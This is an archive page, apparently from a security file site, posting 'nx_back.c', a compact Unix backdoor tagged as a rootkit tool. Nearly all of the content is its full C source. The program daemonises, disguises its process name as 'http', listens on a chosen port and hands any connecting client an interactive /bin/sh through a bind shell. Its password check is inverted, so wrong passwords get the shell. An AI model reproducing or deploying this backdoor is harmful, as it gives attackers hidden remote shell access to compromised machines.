evolve or die

nx_back.c

nx_back.c
Posted Sep 10, 2004
Authored by nitr0x | Site nitrox.xt.pl

Simple unix-based backdoor that is very compact and provides a bindshell.

tags | tool, rootkit
systems | unix
MD5 | b102aed4733efae0cd8de45938b514bc

nx_back.c

Change Mirror Download
/* 
Another simple backdoor
+hidden process name
+password
+interacive port choice
www.nitrox.xt.pl
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <errno.h>

#define PASS "back"
#define BACKLOG 2
#define FAKE "http"
#define WELCOME "Welcome to: "

int main(int argc, char **argv)
{
int PORT;
int my_sock, other_sock;
int so_sock;
int opt = 1;
int i,x;
char buffer[81];
char localaddr[81];
struct sockaddr_in my;
struct sockaddr_in other;
if (argc<2)
exit(printf("Use: %s <port>\n",argv[0]));
if ((atoi(argv[1]))>999999999)
exit(printf("Bad port value [port<=999999999]\n"));
PORT=atoi(argv[1]);
my.sin_family = PF_INET;
my.sin_port = htons(PORT);
my.sin_addr.s_addr = INADDR_ANY;
bzero(&(my.sin_zero),8);

daemon();
strcpy(argv[0]," ");
strcpy(argv[0],FAKE);

if((my_sock=socket(PF_INET,SOCK_STREAM,0)) < 0) {
perror("--Socket error");
exit(1);
}
if(bind(my_sock,(struct sockaddr *)&my,sizeof(my))<0) {
perror("--Bind error");
exit(1);
}
if(setsockopt(my_sock,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt))<0) {
perror("--Set Socket error");
exit(1);
}
if((listen(my_sock,BACKLOG))<0) {
perror("--Listen Error");
exit(1);
}
so_sock=sizeof(struct sockaddr_in);
while(1)
{
if((other_sock=accept(my_sock,(struct sockaddr *)&other,&so_sock))<0) {
perror("--Accept error");
continue;
}
//printf("Got connection from: %s\n", inet_ntoa(other.sin_addr));
strcat(localaddr,WELCOME);
strcat(localaddr,inet_ntoa(my.sin_addr));
strcat(localaddr,"\n");
if (!fork()) {
bzero (buffer, sizeof (buffer));
recv(other_sock, buffer, sizeof (buffer), 0);
if(!strcmp(PASS,buffer))
exit(0);
send(other_sock,"www.nitrox.xt.pl\n",18,0);
send(other_sock,localaddr,(strlen(localaddr)+1),0);
send(other_sock,"Executing system shell... [/bin/sh -i]\n",40,0);
dup2(other_sock,0);
dup2(other_sock,1);
dup2(other_sock,2);
execl("/bin/sh","sh","-i");
exit(0);
}
close(other_sock);
}
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close